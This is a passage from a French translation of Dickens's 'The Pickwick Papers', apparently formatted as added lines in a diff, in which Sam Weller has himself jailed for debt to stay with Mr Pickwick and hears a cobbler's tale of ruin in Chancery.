+contenance de M. Weller. Il réduisit sa voix au plus faible
+chuchottement, et, appliquant la bouche à l'oreille de sa progéniture: À
+moins de le faire sortir dans un matelas roulé, à l'insu du guichetier,
+ou de le déguiser en vieille femme avec un voile vert.»
+
+Sam reçut ces deux suggestions avec un dédain inattendu, et répéta sur
+nouveaux frais sa question.
+
+«Non, dit le vieux gentleman. S'il ne veut pas que vous y restez, je ne
+vois pas de moyens du tout. C'est pas une grand' route, Sammy; c'est pas
+une grand' route.
+
+--Eh bien! alors, je vas vous dire ce qui en est. Je vous prierai de me
+prêter vingt-cinq livres sterling.
+
+--Quel bien ça fera-t-i ça?
+
+--Vous inquiétez pas. Peut-être que vous me les redemanderez cinq
+minutes après; peut-être que je dirai que je ne veux pas les rendre, et
+que je ferai l'insolent. Et vous, vous êtes capable de faire arrêter
+votre propre fils pour un peu d'argent. Vous êtes capable de l'envoyer
+en prison, père dénaturé!»
+
+À ces mots, le père et le fils échangèrent un code complet de signes et
+de gestes télégraphiques, après quoi M. Weller s'assit sur une pierre et
+se mit à rire si violemment qu'il en devint pourpre.
+
+«Quelle vieille face d'image! s'écria Sam, indigné de cette perte de
+temps. Qu'est-ce que vous avez besoin de vous asseoir là et de faire des
+grimaces comme le marteau d'une porte cochère. Est-ce que nous n'avons
+pas autre chose à faire? Où est la monnaie?
+
+--Dans le coffre, Sam, dans le coffre, dit M. Weller, en rendant à ses
+traits leur expression accoutumée. Tiens mon chapeau, Sam.»
+
+Débarrassé de cet ornement, M. Weller tordit son corps tout d'un coté,
+et, par un mouvement habile, parvint à insinuer sa main droite dans une
+poche immense, d'où il vint à bout d'extraire, après bien des efforts et
+des soupirs, un portefeuille grand in-octavo, fermé par une énorme
+courroie de cuir. Il tira de ce portefeuille une couple de mèches de
+fouet, trois ou quatre boucles, un petit sac d'échantillon d'avoine, et
+enfin un rouleau de bank-notes fort malpropres, parmi lesquelles il
+choisit la somme requise, qu'il tendit à Sam.
+
+«Et maintenant, Sammy, dit-il après avoir réintégré dans le portefeuille
+les mèches, les boucles et le sac d'avoine, et après avoir de nouveau
+déposé le portefeuille dans le fond de sa grande poche; maintenant,
+Sammy, je connais un gentleman qui va faire pour nous le reste de la
+besogne en moins de rien. C'est un suppôt de la loi, Sammy, qu'a de la
+cervelle, jusqu'au bout des doigts comme les grenouilles; un ami de lord
+chancelier, celui qui n'aurait qu'un signe à faire pour te faire
+enfermer toute ta vie si i'voulait.
+
+--Halte-là, interrompit Sam, pas de ça.
+
+--Pas de quoi?
+
+--Pas de ces moyens inconstitutionnels. Après le mouvement perpétuel,
+les _ayez sa carcasse_ est une des plus excellentes choses qu'on ait
+jamais inventées. J'ai lu ça dans les journaux très-souvent.
+
+--Eh bien! qu'est-ce que ça a affaire ici?
+
+--Voila; c'est que je veux favoriser l'invention et me faire mettre
+dedans de cette manière là. Pas de manigances avec le chancelier; je
+n'aime pas ça. Ce n'est peut-être pas bien sain, pour ce qui est d'en
+ressortir.»
+
+Déférant sur ce point au sentiment de son fils, M. Weller alla retrouver
+M. Salomon Pell et lui communiqua son désir d'obtenir sur-le-champ une
+prise de corps pour la somme de vingt-cinq livres sterling et les frais,
+contre un certain Samuel Weller; la dépense à ce nécessaire devant être
+payée d'avance à Salomon.
+
+L'homme d'affaires était de fort bonne humeur, car son client venait de
+recevoir sa décharge. Il approuva hautement l'attachement de Sam pour
+son maître, déclara que cela lui rappelait fortement ses propres
+sentiments de dévouement pour son ami, le chancelier, et mena sans délai
+M. Weller au Temple, pour y prêter serment au sujet de la dette dont
+l'attestation venait d'être dressée sur place, par le petit clerc,
+assisté du sac bleu.
+
+Pendant ce temps Sam ayant été formellement présenté au gentleman, qui
+venait d'être libéré du poids de ses dettes, et à ses amis, comme le
+rejeton de M. Weller, de la Belle Sauvage, fut traité avec une
+distinction marquée, et invité à se régaler avec eux en l'honneur de la
+circonstance, invitation qu'il accepta sans aucune espèce de difficulté.
+
+La gaieté des gentlemen de cette classe est ordinairement d'un caractère
+grave et tranquille; mais il s'agissait là d'une réjouissance toute
+particulière, et ils se relâchèrent, en proportion, de leur gravité
+accoutumée. Après quelques toasts assez tumultueux, en l'honneur du chef
+des commissaires et de M. Salomon Pell, qui venait de déployer une
+habileté si transcendante, un gentleman, au teint marbré de rouge, qui
+avait pour cravate un châle bleu, proposa de chanter. La réplique
+naturelle était que le gentleman au teint marbré, qui désirait une
+chanson, la chantât lui-même; mais il s'y refusa fermement, et même d'un
+air légèrement offensé: il s'ensuivit comme cela arrive assez souvent en
+pareil cas, un colloque aigre doux.
+
+«Gentlemen, dit le client de M. Pell, plutôt que de détruire l'harmonie
+de cette délicieuse réunion, peut-être que M. Samuel Weller voudra bien
+obliger la société.
+
+--Réellement, gentlemen, dit Sam, je ne suis pas trop dans l'habitude de
+chanter sans instrument; mais faut tout faire pour une vie tranquille,
+comme dit le marin, quand il accepta la place de gardien du phare.»
+
+Après ce léger prélude, M. Samuel Weller se lança tout à coup dans
+l'admirable légende que nous prenons la liberté d'imprimer ci-dessous,
+car nous pensons qu'elle n'est pas généralement connue. Nous prions les
+lecteurs de vouloir bien remarquer les dissyllabes qui terminent le
+premier et le quatrième vers, et qui, non-seulement permettent au
+chanteur de reprendre haleine un cet endroit, mais en outre favorisant
+singulièrement le mètre.
+
+    ROMANCE.
+
+    _1er Couplet._
+
+    Un beau jour le hardi Turpin, ohé!
+    Galoppait grand train sur sa jument noire.
+    V'là qu'un bel évêque, en robe de moire,
+    Se prom'nait sur le grand chemin, ohé!
+    V'là Turpin qui court après le carosse,
+    Et qui met sa têt' tout entièr' dedans;
+    Et l'évêqu' qui dit: «L' diable emport' ma crosse,
+    Si c' n'est pas Turpin qui m'fait voir ses dents!»
+
+    _Le choeur._
+
+    Et l'évequ' qui dit: «L' diable emport' ma crosse,
+    Si c' n'est pas Turpin qui m' fait voir ses dents!»
+
+    _2e Couplet._
+
+    Turpin dit: «Vous mang'rez c'mot là, ohé!
+    Avec un' sauce, mon cher, d'balles de plomb.»
+    Alors i' tire un pistolet d'arçon
+    Et lui fait entrer dans la gorge, ohé!
+    Le cocher, qui n'aimait pas cett' rasade,
+    Fouett' ses ch'vaux et part au triple galop;
+    Mais Turpin lui met quatre ball' dans l' dos,
+    Et de s'arrêter ainsi le persuade.
+
+    _Le choeur, d'un ton sarcastique._
+
+    Mais Turpin lui met quatre ball' dans l' dos,
+    Et de s'arrêter ainsi le persuade.
+
+«Je maintiens que cette chanson est personnelle à la profession, dit le
+gentleman au teint marbré, en l'interrompant en cet endroit. Je demande
+le nom de ce cocher.
+
+--On n'a jamais pu le savoir, répliqua Sam; vu qu'il n'avait pas sa
+carte dans sa poche.
+
+--Je m'oppose à l'introduction de la politique, reprit le cocher au
+teint marbré. Je remarque que dans la présente compagnie cette chanson
+est politique, et, ce qu'est à peu près la même chose, qu'elle n'est pas
+vraie. Je dis que ce cocher ne s'est pas sauvé, mais qu'il est mort
+bravement comme un des plus grands z'héros, et je ne veux pas entendre
+dire le contraire.»
+
+Comme l'orateur parlait avec beaucoup d'énergie et de décision, et comme
+les opinions de la compagnie paraissaient divisées à ce sujet, on était
+menacé de nouvelles altercations, lorsque M. Weller et M. Pell
+arrivèrent, fort à propos.
+
+«Tout va bien, Sammy, dit M. Weller.
+
+--L'officier sera ici à quatre heures, ajouta M. Pell. Je suppose que
+vous ne vous enfuirez pas en attendant! ha! ha! ha!
+
+--Peut-être que mon cruel papa se repentira d'ici là? balbutia Sam, avec
+une grimace comique.
+
+--Non, ma foi, dit M. Weller.
+
+--Je vous en prie, continua Sam.
+
+--Pour rien au monde, rétorqua l'inexorable créancier.
+
+--Je vous ferai des billets pour vous payer six pence par mois.
+
+--Je n'en veux pas.
+
+--Ha! ha! ha! très-bon, très-bon! s'écria M. Salomon Pell, qui
+s'occupait de faire sa petite note des frais. C'est un incident fort
+amusant, en vérité.--Benjamin, copiez cela; et M. Pell recommença à
+sourire, en faisant remarquer le total à M. Weller.
+
+--Merci, merci, dit l'homme de loi en prenant les grasses bank-notes que
+le vieux cocher tirait de son portefeuille. Trois livres dix shillings
+et une livre dix shillings font cinq livres sterling. Bien obligé,
+monsieur Weller.... Votre fils est un jeune homme fort intéressant. Tout
+à fait, monsieur, c'est un trait fort honorable de la part d'un jeune
+homme, tout à fait, ajouta M. Pell, en souriant fort gracieusement à la
+ronde, et en empochant son argent».
+
+--Une fameuse farce, dit M. Weller, avec un gros rire, un véritable
+enfant prodige.
+
+--Prodigue, monsieur, enfant prodigue, suggéra doucement M. Pell.
+
+--Ne vous tourmentez pas, monsieur, répliqua M. Weller, avec dignité. Je
+sais l'heure qu'il est, monsieur. Quand je ne la saurai pas, je vous la
+demanderai, monsieur.»
+
+Lorsque l'officier arriva, Sam s'était rendu si populaire, que les
+gentlemen réunis à la taverne se déterminèrent à le conduire, en corps,
+à la prison. Ils se mirent donc en route; le demandeur et le défendeur
+marchaient bras dessus bras dessous: l'officier en tête et huit
+puissants cochers formaient l'arrière-garde. Après s'être arrêtés au
+café de _Sergeant's Inn_ pour se rafraîchir et pour terminer tous les
+arrangements légaux, la procession se remit en marche.
+
+Une légère commotion fut excitée dans Fleet-Street par l'humeur
+plaisante des huit gentlemen de l'arrière-garde, qui persistaient à
+marcher quatre de front. On décida qu'il était nécessaire de laisser en
+arrière le gentleman grêlé pour boxer avec un commissionnaire, et il fut
+convenu que ses amis le prendraient au retour. Au reste ces légers
+incidents furent les seuls qui arrivèrent pendant la route. Quand on fut
+parvenu devant la prison, la cavalcade sous la direction du demandeur,
+poussa trois effroyables acclamations pour le défendeur, et ne le quitta
+que lorsqu'il eut plusieurs fois secoué la main de chacun de ses
+membres.
+
+Sam ayant été formellement remis entre les mains du gouverneur de la
+flotte, à l'immense surprise de Roker et du flegmatique Neddy lui-même,
+entra sur-le-champ dans la prison, marcha droit à la chambre de son
+maître, et frappa à la porte.
+
+«Entrez, dit M. Pickwick.»
+
+Sam parut, ôta son chapeau, et sourit.
+
+«Ah! Sam, mon bon garçon! dit M. Pickwick, évidemment charmé de revoir
+son humble ami; je n'avais pas l'intention de vous blesser hier par ce
+que je vous ai dit, mon fidèle serviteur. Posez votre chapeau, Sam, et
+laissez-moi vous expliquer un peu plus longuement mes idées.
+
+--Ça ne peut-il pas attendre à tout à l'heure, monsieur?
+
+--Oui, certainement. Mais pourquoi pas maintenant?
+
+--J'aimerais mieux tout à l'heure, monsieur.
+
+--Pourquoi donc?
+
+--Parce que..., dit Sam en hésitant.
+
+--Parce que quoi? reprit M. Pickwick, alarmé par les manières de son
+domestiqua. Parlez clairement, Sam.
+
+--Parce que... j'ai une petite affaire qu'il faut que je fasse.
+
+--Quelle affaire? demanda M. Pickwick, surpris de l'air confus de Sam.
+
+--Rien de bien conséquent, monsieur.
+
+--Ah! dans ce cas, dit M. Pickwick en souriant, vous pouvez m'entendre
+d'abord.
+
+--J'imagine que je terminerai d'abord mon affaire,» répliqua Sam, en
+hésitant encore.
+
+M. Pickwick eut l'air surpris, mais ne répondit pas.
+
+«Le fait est, dit Sam, en s'arrêtant court.
+
+--Eh bien? reprit M. Pickwick, parlez donc.
+
+--Eh bien! le fait est, répliqua Sam avec un effort désespéré, le fait
+est que je ferais peut-être mieux de voir après mon lit.
+
+--Votre lit! s'écria M. Pickwick, plein d'étonnement.
+
+--Oui, mon lit, monsieur; je suis prisonnier; j'ai été arrêté cette
+après-midi, pour dettes.
+
+--Arrêté pour dettes! s'écria M. Pickwick, en se laissant tomber sur une
+chaise.
+
+--Oui, monsieur, pour dettes, et l'homme qui m'a mis ici ne m'en
+laissera jamais sortir, tant que vous y serez vous-même.
+
+--Que me dites vous donc là!»
+
+--Ce que je dis, monsieur, je suis prisonnier, quand ça devrait durer
+quarante ans! et j'en suis fort content encore; et si vous aviez été
+dans Sewgate, ç'aurait été la même chose! maintenant le gros mot est
+lâché, sapristi! c'est une affaire finie!»
+
+En prononçant ces mots, qu'il répéta plusieurs fois avec grande
+violence, Sam aplatit son chapeau sur la terre, dans un état
+d'excitation fort extraordinaire chez lui; puis ensuite, croisant ses
+bras, il regarda son maître en face et avec fermeté.
+
+
+
+
+CHAPITRE XV.
+
+Où l'on apprend diverses petites aventures arrivées dans la prison,
+ainsi que la conduite mystérieuse de M. Winkle; et où l'on voit comment
+le pauvre prisonnier de la chancellerie fut enfin relâché.
+
+
+M. Pickwick était trop vivement touché par l'inébranlable attachement de
+son domestique, pour pouvoir lui témoigner quelque mécontentement de la
+précipitation avec laquelle il s'était fait incarcérer, pour une période
+indéfinie. La seule chose sur laquelle il persista à demander une
+explication, c'était le nom du créancier de Sam; mais celui-ci persévéra
+également à ne point le dire.
+
+«Ça ne servirait de rien, monsieur, répétait-il constamment. C'est une
+créature malicieuse, rancunière, avaricieuse, vindicative, avec un coeur
+qu'il n'y a pas moyen de toucher, comme observait le vertueux vicaire au
+gentleman hydropique, qui aimait mieux laisser son bien à sa femme, que
+de bâtir une chapelle avec.
+
+--En vérité, Sam, la somme est si petite qu'il serait fort aisé de la
+payer; et puisque je me suis décidé à vous garder avec moi, vous devriez
+faire attention que vous me seriez beaucoup plus utile si vous pouviez
+aller au dehors.
+
+--Je vous suis bien obligé, monsieur, mais je ne voudrais pas.
+
+--Qu'est-ce que vous ne voudriez pas, Sam?
+
+--Je ne voudrais pas m'abaisser à demander une faveur à cet ennemi sans
+pitié.
+
+--Mais ce n'est pas lui demander une faveur que de lui offrir son
+argent.
+
+--Je vous demande pardon, monsieur, ce serait une grande faveur de le
+payer, et il n'en mérite pas. Voilà l'histoire, monsieur.»
+
+En cet endroit, M. Pickwick frottant son nez avec un air de vexation,
+Sam jugea qu'il était prudent de changer de thème. «Monsieur, dit-il, je
+prends ma détermination par principe, comme vous prenez la vôtre, ce qui
+me rappelle l'histoire de l'homme qui s'est tué par principe. Vous le
+savez nécessairement, monsieur!» Ici Sam s'arrêta de parler, et du coin
+de l'oeil gauche jeta à son maître un regard comique.
+
+«Il n'y a pas de nécessité là-dedans, Sam, dit M. Pickwick, en se
+laissant aller graduellement à sourire, malgré le déplaisir que lui
+avait causé l'obstination de Sam. La renommée du gentleman en question
+n'est jamais venue à mes oreilles.
+
+--Jamais, monsieur? Vous m'étonnez, monsieur; il était employé dans les
+bureaux du gouvernement.
+
+--Ah! vraiment?
+
+--Oui, monsieur; et c'était un gentleman fort agréable encore; un de
+l'espèce soigneuse et méthodique, qui fourrent leurs pieds dans leurs
+claques, quand il fait humide, et qui n'ont jamais d'autre ami près de
+leur coeur qu'une peau de lièvre. Il faisait des économies par principe;
+mettait une chemise blanche tous les jours, par principe; ne parlait
+jamais à aucun de ses parents, par principe, de peur qu'ils ne lui
+empruntassent de l'argent; enfin c'était réellement un caractère tout à
+fait agréable. Il faisait couper ses cheveux tous les quinze jours, par
+principe, et s'abonnait chez son tailleur, suivant le principe
+économique: trois vêtements par an, et renvoyer les anciens. Comme
+c'était un gentleman très régulier, il dînait tous les jours au même
+endroit, à trente-trois pence par tête, et il en prenait joliment pour
+ses trente-trois pence. L'hôte le disait bien ensuite, en versant de
+grosses larmes, sans parler de la manière dont il attisait le feu dans
+l'hiver, ce qui était une perte sèche de quatre pence et demi par jour,
+outre la vexation de le voir faire. Avec ça il était si long à lire les
+journaux: «Le _Morning-Post_ après le gentleman,» disait-il tous les
+jours en arrivant. «Voyez pour le _Times_, Thomas. Apportez-moi le
+_Morning-Herald_, quand il sera libre. «N'oubliez pas de demander le
+_Chronicle_, et donnez-moi l'_Advertiser_.» Alors il appliquait ses yeux
+sur l'horloge, et il sortait un quart de minute, juste avant le temps,
+pour enlever le papier du soir au gamin qui l'apportait, et puis il se
+mettait à le lire avec tant d'intérêt et de persévérance, qu'il
+réduisait les autres habitués au désespoir et à la rage, surtout un
+petit vieux très colère, que le garçon était toujours obligé de
+surveiller de près, dans ces moments-là, de peur qu'il ne se porta à
+quelque excès avec le couteau à découper. Eh bien! monsieur, il restait
+là, occupant la meilleure place, pendant trois heures, et ne prenant
+jamais rien après son dîner qu'un petit somme; et ensuite, il s'en
+allait au café à côté, et il avalait une petite tasse de café et quatre
+_crumpets_[16]; après quoi il rentrait à Kensington et se mettait au
+lit. Une nuit il se trouve mal. Le docteur vient dans un coupé vert,
+avec une espèce de marchepied à la Robinson Crusoé, qu'il pouvait
+baisser et relever après lui quand il voulait, pour que le cocher ne
+soit pas obligé de descendre, et ne laisse pas voir au public qu'il n'a
+qu'un habit de livrée et pas de culottes pareilles. Bien. «Qu'est-ce que
+vous avez? dit le docteur.--Ça va très-mal, dit le patient.--Qu'est-ce
+que vous avez mangé? dit le docteur.--Du veau rôti, dit le
+patient.--Quelle est la dernière chose que vous avez dévoré? dit le
+docteur.--Des _crumpets_, dit le patient.--C'est ça, dit le docteur. Je
+vas vous envoyer une boîte de pilules sur-le-champ, et n'en prenez plus,
+dit-il.--Plus de quoi, dit le patient? des pilules?--Non pas, des
+_crumpets_, dit le docteur.--Pourquoi? dit le patient en se levant sur
+son séant. J'en mange quatre tous les soirs depuis quinze ans, par
+principe.--Vous ferez bien d'y renoncer, par principe, dit le
+docteur.--C'est un gâteau très-sain, monsieur dit le patient.--C'est un
+gâteau très-malsain, dit le docteur avec colère.--Mais ça revient si bon
+marché, dit le patient en baissant un peu la voix, et ça remplit si bien
+l'estomac pour le prix.--C'est trop cher pour vous, n'importe à quel
+prix, dit le docteur. Trop cher, quand on vous payerait pour en manger.
+Quatre crumpets par soirée! dit-il: ça ferait votre affaire en six
+mois.» Le patient le regarda en face, pendant quelque temps, et à la
+fin, il lui dit, après avoir bien ruminé: «Êtes-vous sûr de ça,
+monsieur?--J'en mettrais ma réputation au feu, dit le docteur.--Combien
+pensez-vous qu'il en faudrait pour me tuer, en une fois? dit le
+patient.--Je ne sais pas, dit le docteur.--Pensez-vous que si j'en
+mangeais pour trois francs, ça me tuerait? dit le patient.--C'est
+possible, dit le docteur.--Pour trois francs soixante-quinze, ça ne me
+manquerait pas, je suppose? dit le patient.--Certainement, dit le
+docteur.--Très-bien, dit le patient. Bonsoir.» Le lendemain il se lève,
+fait allumer son feu, envoie chercher pour trois francs soixante-quinze
+de _crumpets_, les fait rôtir toutes, les mange et se brûle la cervelle.
+
+[Footnote 16: Gâteau anglais.]
+
+--Eh pourquoi fit-il cela? demanda brusquement M. Pickwick, affecté au
+plus haut point, par le dénoûment tragique de la narration.
+
+--Pourquoi, monsieur? pour prouver son grand principe, que les
+_crumpets_ sont une nourriture saine, et pour faire voir qu'il ne
+voulait se laisser mener par personne.»
+
+C'est par de tels artifices oratoires que Sam éluda les questions de son
+maître, pendant le premier soir de sa résidence à la flotte. À la fin,
+voyant que toute remontrance était inutile M. Pickwick consentit,
+quoiqu'avec regret, à ce qu'il se logeât, à tant la semaine, chez un
+savetier chauve qui occupait une petite chambre dans l'une des galeries
+supérieures. Sam porta dans cet humble appartement, un matelas, une
+couverture et des draps loués à M. Roker, et lorsqu'il s'étendit sur ce
+lit improvisé, il y était aussi à son aise que s'il avait été élevé dans
+la prison, et que toute sa famille y eût végété depuis trois
+générations.
+
+«Fumez-vous toujours après que vous êtes couché, vieux coq? demanda Sam
+à son hôte, lorsque l'un et l'autre se furent placés horizontalement
+pour la nuit.
+
+--Oui, toujours, jeune cochinchinois, répondit le savetier.
+
+--Voulez-vous me permettre de vous demander pourquoi vous faites votre
+lit sous la table?
+
+--Parce que j'ai toujours été z'habitué à un baldaquin, avant de venir
+ici, et je trouve que la table fait juste le même effet.
+
+--Vous avez un fameux caractère, monsieur[17], dit Sam.
+
+[Footnote 17: Jeu de mots: _caractère_, en anglais, veut dire à la fois
+_un original_, et un certificat de bonne conduite.
+
+(_Note du traducteur._)]
+
+--Je n'en sais rien, répondit le savetier, en secouant la tête; mais si
+vous voulez en trouver un bon, je crains que vous n'ayez de la peine
+dans cet établissement ici.»
+
+Pendant ce dialogue, Sam était étendu sur son matelas, à une extrémité
+de la chambre, et le savetier sur le sien, à l'autre extrémité.
+L'appartement était illuminé par la lumière d'une chandelle, et par la
+pipe du savetier qui luisait sous la table comme un charbon ardent.
+Toute courte qu'eût été cette conversation, elle avait singulièrement
+prédisposé Sam en faveur de son hôte. En conséquence il se souleva sur
+son coude, et se mit à l'examiner plus soigneusement qu'il n'avait eu
+jusqu'alors le temps, ou l'envie de le faire.
+
+C'était un homme blême, tous les savetiers le sont. Il avait une barbe
+rude et hérissée, tous les savetiers l'ont ainsi; son visage était un
+drôle de chef-d'oeuvre, tout contourné, tout raboteux, mais où régnait
+un air de bonne humeur, et dont les yeux devaient avoir eu une fort
+joyeuse expression, car ils jetaient encore des étincelles. Le savetier
+avait soixante ans d'âge, et Dieu sait combien de prison, de sorte qu'il
+était assez singulier de découvrir encore en lui quelque chose qui
+approchât de la gaieté. C'était un petit homme; et comme il était replié
+dans son lit, il paraissait à peu près aussi long qu'il aurait dû
+l'être, s'il n'avait point eu de jambes. Il tenait dans sa bouche une
+grosse pipe rouge, et, tout en fumant, il envisageait la chandelle avec
+une béatitude véritablement digne d'envie.
+
+«Y a-t-il longtemps que vous êtes ici? lui demanda Sam, après un silence
+de quelques minutes.
+
+--Douze ans, répondit le savetier en mordant, pour parler, le bout de sa
+pipe.
+
+--Pour mépris envers la cour de chancellerie?» demanda Sam.
+
+Le savetier fit un signe affirmatif.
+
+«Eh bien! alors, reprit Sam avec mécontentement, pourquoi vous
+embourbez-vous dans votre obstination, à user votre précieuse vie ici,
+dans cette grande fondrière? Pourquoi ne cédez-vous pas, et ne
+dites-vous pas au chancelier que vous êtes fâché d'avoir manqué de
+respect à la cour, et que vous ne le ferez plus?»
+
+Le savetier mit sa pipe dans le coin de sa bouche, pour sourire, et la
+ramena ensuite à sa place, mais ne répondit rien.
+
+«Pourquoi? reprit Sam avec plus de force.
+
+--Ah! dit le savetier, vous n'entendez pas bien ces affaires-là. Voyons,
+qu'est-ce que vous supposez qui m'a ruiné?
+
+--Eh!... fit Sam, en mouchant la chandelle, je suppose que vous avez
+fait des dettes pour commencer?
+
+--Je n'ai jamais dû un liard; devinez encore.
+
+--Eh bien! peut-être que vous avez acheté des maisons, ce qui veut dire
+devenir fou en langage poli; ou bien que vous vous êtes mis à bâtir, ce
+qu'on appelle être incurable, en langage médical.»
+
+Le savetier secoua la tête et dit: «Essayez encore.
+
+--J'espère que vous ne vous êtes pas amusé à plaider? poursuivit Sam,
+d'un air soupçonneux.
+
+--C'est pas dans mes moeurs. Le fait est que j'ai été ruiné pour avoir
+fait un héritage.
+
+--Allons! allons! ça ne prendra pas. Je voudrais bien avoir un riche
+ennemi qui tramerait ma destruction de cette manière-là. Je me
+laisserais faire.
+
+--Ah! j'étais sûr que vous ne me croiriez pas, dit le savetier, en
+fumant sa pipe avec une résignation philosophique. J'en ferais autant à
+votre place. C'est pourtant vrai malgré ça.
+
+--Comment ça se peut-il? demanda Sam, déjà à moitié convaincu par l'air
+tranquille du savetier.
+
+--Voilà comment. Un vieux gentleman, pour qui je travaillais dans la
+province, et dont j'avais épousé une parente (elle est morte, grâce à
+Dieu! puisse-t-il la bénir!) eut une attaque et s'en alla.
+
+--Où? demanda Sam qui, après les nombreux événements de la soirée, était
+un peu endormi.
+
+--Est-ce que je puis savoir ça? répondit le savetier, en parlant à
+travers son nez, pour mieux jouir de sa pipe. Il mourut.
+
+--Ah! bien! Et ensuite?
+
+--Ensuite, il laissa cinq mille livres sterling.
+
+--C'était bien distingué de sa part.
+
+--Il me laissa mille livres à moi, parce que j'avais épousé une de ses
+parentes, voyez-vous.
+
+--Très-bien, murmura Sam.
+
+--Et étant entouré d'un grand nombre de nièces et de neveux, qui étaient
+toujours à se disputer, il me fit son exécuteur et me chargea de diviser
+le reste entre eux, comme fidéi-commissaire.
+
+--Qu'est-ce que vous entendez par-là, demanda Sam, en se réveillant un
+peu. Si ce n'est pas de l'argent comptant, à quoi ça sert-il?
+
+--C'est un terme de loi qui veut dire qu'il avait confiance en moi.
+
+--Je ne crois pas ça, répartit Sam en hochant la tête; il n'y a guère de
+confiance dans cette boutique-là. Mais c'est égal; marchez.
+
+--Pour lors, dit le savetier; comme j'allais faire enregistrer le
+testament, les nièces et les neveux, qui étaient furieux de ne pas avoir
+tout l'argent, s'y opposent par un _caveat_.
+
+--Qu'est-ce que c'est que ça?
+
+--Un instrument légal. Comme qui dirait: halte-là!
+
+--Je vois; un parent du _ayez sa carcasse_. Ensuite?
+
+--Ensuite, voyant qu'ils ne pouvaient pas s'entendre entre eux sur
+l'exécution du testament, ils retirent le _caveat_ et je paye tous les
+legs. À peine si j'avais fait tout cela, quand voilà un neveu qui
+demande l'annulation du testament. L'affaire se plaide quelques mois
+après devant un vieux gentleman sourd, dans une petite chambre à côté du
+cimetière de Saint-Paul; et après que quatre avocats ont passé chacun
+une journée à embrouiller l'affaire, il passe une semaine ou deux à
+réfléchir sur les pièces qui faisaient six gros volumes, et il donne son
+jugement comme quoi le testateur n'avait pas le cerveau bien solide, et
+comme quoi je dois payer de nouveau tout l'argent, avec tous les frais.
+J'en appelle. L'affaire vient devant trois ou quatre gentlemen
+très-endormis, qui l'avaient déjà entendue dans l'autre cour, où ils
+sont des avocats sans cause. La seule différence, c'est que dans l'autre
+cour on les appelait les délégués, et que dans cette cour-ci, on les
+appelle docteurs: tâchez de comprendre ça. Bien: ils confirment
+très-respectueusement la décision du vieux gentleman sourd. Mon homme de
+loi avait eu depuis longtemps tout mon argent, tellement qu'entre le
+principal, comme ils appellent ça, et les frais, je suis ici pour dix
+mille livres sterling, et j'y resterai à raccommoder des souliers
+jusqu'à ce que je meure. Quelques gentlemen ont parlé de porter la
+question devant le parlement, et je crois bien qu'ils l'auraient fait;
+seulement ils n'avaient pas le temps de venir me voir, et je ne pouvais
+pas aller leur parler, et ils se sont ennuyés de mes longues lettres, et
+ils ont abandonné l'affaire, et tout ceci, c'est la vérité devant Dieu,
+sans un mot de suppression ni d'exagération, comme le savent très-bien
+cinquante personnes tant ici que dehors.»
+
+Le savetier s'arrêta pour voir quel effet son histoire avait produit sur
+Sam. Il s'était endormi. Le savetier secoua la cendre de sa pipe, la
+posa par terre à côté de lui, soupira, tira sa couverture sur sa tête,
+et s'endormit aussi.
+
+Le lendemain matin, Sam étant activement engagé à polir les souliers de
+son maître et à brosser ses guêtres noires, dans la chambre du savetier,
+M. Pickwick se trouvait seul, à déjeûner, lorsqu'un léger coup fut
+frappé à sa porte. Avant qu'il eût eu le temps de crier _entrez!_ il vit
+apparaître une tête chevelue et une calotte de velours de coton,
+articles d'habillement qu'il n'eut pas de peine à reconnaître comme la
+propriété personnelle de M. Smangle.
+
+«Comment ça va-t-il? demanda ce vertueux personnage, en accompagnant
+cette question de deux ou trois signes de tête. Attendez-vous quelqu'un
+ce matin? Il y a trois gentlemen, des gaillards diablement élégants, qui
+demandent après vous, en bas, et qui frappent à toutes les portes. Aussi
+ils sont joliment rembarrés par les pensionnaires qui prennent la peine
+de leur ouvrir.
+
+--Mais à quoi pensent-ils donc! dit M. Pickwick, en se levant. Oui, ce
+sont sans doute quelques amis que j'attendais plutôt hier.
+
+--Des amis à vous! s'écria Smangle, en saisissant M. Pickwick par la
+main. En voilà assez, Dieu me damne! dès ce moment ils sont mes amis, et
+ceux de Mivins aussi: «Diablement agréable et distingué, cet animal de
+Mivins, hein?» dit M. Smangle avec grande sensibilité.
+
+--Véritablement, répondit M. Pickwick avec hésitation, je connais si peu
+ce gentleman que....
+
+--Je le sais, interrompit Smangle, en lui frappant sur l'épaule. Vous le
+connaîtrez mieux quelque jour; vous en serez charmé. Cet homme-là,
+monsieur, poursuivit Smangle, avec une contenance solennelle, a des
+talents comiques qui feraient honneur au théâtre de Drury-Lane.
+
+--En vérité?
+
+--Oui, de par Jupiter! Si vous l'entendiez quand il fait les quatre
+chats dans un tonneau! Ce sont bien quatre chats distincts, je vous en
+donne ma parole d'honneur. Vous voyez comme c'est spirituel? Dieu me
+damne! on ne peut pas s'empêcher d'aimer un homme qui a un talent
+pareil. Il n'a qu'un seul défaut, cette petite faiblesse dont je vous ai
+prévenu, vous savez?»
+
+Comme, en cet endroit, M. Smangle dandina sa tête d'une manière
+confidentielle et sympathisante, M. Pickwick sentit qu'il devait dire
+quelque chose: «Ah! fit-il, en conséquence, et il regarda avec
+impatience vers la porte.
+
+--Ah! répéta M. Smangle, avec un profond soupir; cet homme-là, monsieur,
+c'est une délicieuse compagnie; je ne connais pas de meilleure
+compagnie. Il n'a que ce petit défaut; si l'ombre de son grand-père lui
+apparaissait, il ferait une lettre de change sur papier timbré, et le
+prierait de l'endosser.
+
+--Pas possible! s'écria M. Pickwick
+
+--Oui, ajouta M. Smangle; et s'il avait le pouvoir de l'évoquer une
+seconde fois, il l'évoquerait au bout de deux mois et trois jours, pour
+renouveler son billet.
+
+--Ce sont-là des traits fort remarquables, dit M. Pickwick; mais pendant
+que nous causons ici, j'ai peur que mes amis ne soient fort embarrassés
+pour me trouver.
+
+--Je vais les amener, répondit Smangle en se dirigeant vers la porte.
+Adieu, je ne vous dérangerai point pendant qu'ils seront ici.... À
+propos....»
+
+En prononçant ces deux derniers mots, Smangle s'arrêta tout à coup,
+referma la porte, qu'il avait à moitié ouverte, et et retournant sur la
+pointe du pied près de M. Pickwick, lui dit tout bas à l'oreille:
+
+«Vous ne pourriez pas, sans vous gêner, me prêter une demi-couronne
+jusqu'à la fin de la semaine prochaine?»
+
+M. Pickwick put à peine s'empêcher de sourire; cependant il parvint à
+conserver sa gravité, tira une demi-couronne, et la plaça dans la main
+de M. Smangle. Celui-ci, après un grand nombre de clignements d'oeil,
+qui impliquaient un profond mystère, disparut pour chercher les trois
+étrangers, avec lesquels il revint bientôt après. Alors ayant toussé
+trois fois, et fait à M. Pickwick autant de signes de tête, comme une
